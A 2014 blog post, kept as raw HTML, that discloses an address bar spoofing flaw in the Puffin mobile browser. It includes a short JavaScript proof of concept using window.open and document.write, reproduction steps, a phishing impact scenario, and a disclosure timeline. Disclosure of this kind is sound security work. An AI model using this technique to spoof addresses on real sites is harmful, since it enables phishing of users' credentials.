Puffin Web Browser Address Bar Spoofing Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" width="320" /></a></div><br />During my recent research on Mobile browsers i have managed to find couple of interesting vulnerabilities such as SOP bypass, Denial of service and Address bar spoofing vulnerability which are worth doing a writeup. However, In the following writeup I would discuss about an "<b>Address Bar Spoofing Vulnerability</b>" present inside of a well known mobile browser for both Android and iOS known as <b>"Puffin Web Browser". </b><br /><a name="more"></a><br /><h4>Description</h4>Let's take a look at an official description of Puffin Web Browser.<br /><br /><i>Puffin Web Browser is a wicked fast Mobile Flash Browser. Once users experience the thrill of using Puffin, regular Mobile Internet just feels like torture. Puffin Free is the free version of Puffin family, and supports Adobe Flash during the daytime everyday</i>. Puffin Web Browser comes into two different flavours, a free version and a paid version.<br /><h4>Popularity </h4>According to recent stats by <a href="https://play.google.com/store/apps/details?id=com.cloudmosa.puffin&hl=en" rel="nofollow" target="_blank">Google play</a>, the approximate installs for "Puffin Web Browser Free" are some where between the range of 5 Million to 10 Million installs.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBDnD6BM_LTYqbXp639dtpgaXhrTkvA4dj8u2u3pDZfMpKD2G4KRAWxUj1VegQTp8N0SSk7PtGI8WZ9KY2vgI9fQaZZbYLSid400g_7b7UNguxjReot-Pn9-1riu40pWK7V9SSHNFlXI/s1600/aaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBDnD6BM_LTYqbXp639dtpgaXhrTkvA4dj8u2u3pDZfMpKD2G4KRAWxUj1VegQTp8N0SSk7PtGI8WZ9KY2vgI9fQaZZbYLSid400g_7b7UNguxjReot-Pn9-1riu40pWK7V9SSHNFlXI/s1600/aaa.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Whereas, according to another popular Android market "<a href="http://www.mobogenie.com/apps/index.html" rel="nofollow" target="_blank">Mobogenie</a>", the approximate installs for "Puffin Web Browser Free" are more than 5 Million. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihE9oN0gWtmXZVMtsP9qTGZfpBPTCC6fPbnNOm28QDbKNPmGnS2VmQYo6xiry-TyBHih2oLqK3J9RRTzgoOPtVCJTHkdtl1PDcE0Gj5PfzM8khGvvRnzSIVlSNzc5ktmVUmvawgqlokic/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihE9oN0gWtmXZVMtsP9qTGZfpBPTCC6fPbnNOm28QDbKNPmGnS2VmQYo6xiry-TyBHih2oLqK3J9RRTzgoOPtVCJTHkdtl1PDcE0Gj5PfzM8khGvvRnzSIVlSNzc5ktmVUmvawgqlokic/s1600/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><u>This makes the total userbase of Puffin Web Browser more than 10 million</u>.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Vulnerability</h4></div><div class="separator" style="clear: both; text-align: left;">An "Address Bar Spoofing" vulnerability was addressed in "Puffin Web Browser" due to mishandling of javaScript's window.open function which is used to open a secondary browser window. This could be exploited by tricking the users into supplying senstive information such as username/passwords etc due to the fact that the address bar would display a legitimate URL, however it would be hosted on the attacker's page. </div><div class="separator" style="clear: both; text-align: left;"></div><h4>Proof Of Concept</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;">The following piece of javaScript code was used as a proof of concept by modifying <b>"David Vieria's" </b> POC to suit our needs and to demonstrate the vulnerability to the vendor. </div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><blockquote class="tr_bq" style="clear: both;"><script><br />document.getElementById('one').onclick = function() {<br />myWindow=window.open('http://rafayhackingarticles.net/','RHA','width=300,height=300,location=yes');<br />myWindow.document.write("<html><head></head><body><b>This page is still being hosted on rhainfosec.com, however the domain is pointing to rafayhackingarticles.net.</b><br><br><iframe src=\"http://www.rafayhackingarticles.net/\");></iframe></scri+pt></body></html>");<br />myWindow.focus();<br />return false;<br />}<br /></script></blockquote><br /><div class="separator" style="clear: both;"></div><div class="separator" style="clear: both;"><b>Steps To Reproduce</b></div><div class="separator" style="clear: both;"><br /></div><b>1) </b>Visit the following page from "Puffin Free Web Browser" -<b><a href="http://www.rhainfosec.com/test/" rel="" target="_blank">www.rhainfosec.com/test/</a></b><br /><b>2)</b> Click on the "demo" button.<br /><b>3) </b>A new window would pop up with the address bar pointing to <b>rafayhackingarticles.ne</b>t, however the page is still hosted on <b>rhainfosec.com. </b><br /><b><br /></b>In case of a real attack scenario, an attacker could create a fake login of facebook.com for instance and since the address bar would still be pointing to facebook.com, the victim would not<br /><h4>Demonstration</h4><iframe allowfullscreen="" frameborder="0" height="375" mozallowfullscreen="" src="//player.vimeo.com/video/99202667" webkitallowfullscreen="" width="500"></iframe><br /><h4>Impact</h4>The impact in my opinion is huge since this vulnerability could be abused in launching targetted and more effective phishing attacks, <u>which places 10 million users at risk.</u><br /><h4>Fix</h4>The vulnerability was submitted on 10'th of june, I received an initial response that they would let us know about the schedule, however after multiple emails, we didn't receive any response. Therefore, I decided to go for full disclosure and urge the users to beware.<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXspcDBjGUx29MEZZPP07cO08SUaWPSvDPJbGGnnMNhG_lrubCR-cC3tTYOul6XHs3W-ohYjced6X5Y6UudjCQdzhNiCakwFx7gMBXkXGukRvpl8keCjZ98pG8Wt_Nl3qiGMCahtKjPiI/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXspcDBjGUx29MEZZPP07cO08SUaWPSvDPJbGGnnMNhG_lrubCR-cC3tTYOul6XHs3W-ohYjced6X5Y6UudjCQdzhNiCakwFx7gMBXkXGukRvpl8keCjZ98pG8Wt_Nl3qiGMCahtKjPiI/s1600/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;">As mentioned before, I have found several other vulnerabilities in mobile browsers, as soon as they get fixed I would blog about it. Kudos to<b> David Vieria</b> for his guidance. </div><h4>Timeline</h4><b>6/10/2014</b> - I reported the vulnerability.<br /><b>6/13/2014 </b>- Initial response.<br /><b>6/26/2014</b> - I asked again if they are willing to fix it.<br /><b>7/14/2014 </b>- Blogged about this issue.  </div>

Puffin Web Browser Address Bar Spoofing Vulnerability

During my recent research on Mobile browsers i have managed to find couple of interesting vulnerabilities such as SOP bypass, Denial of serv...

+ Read more »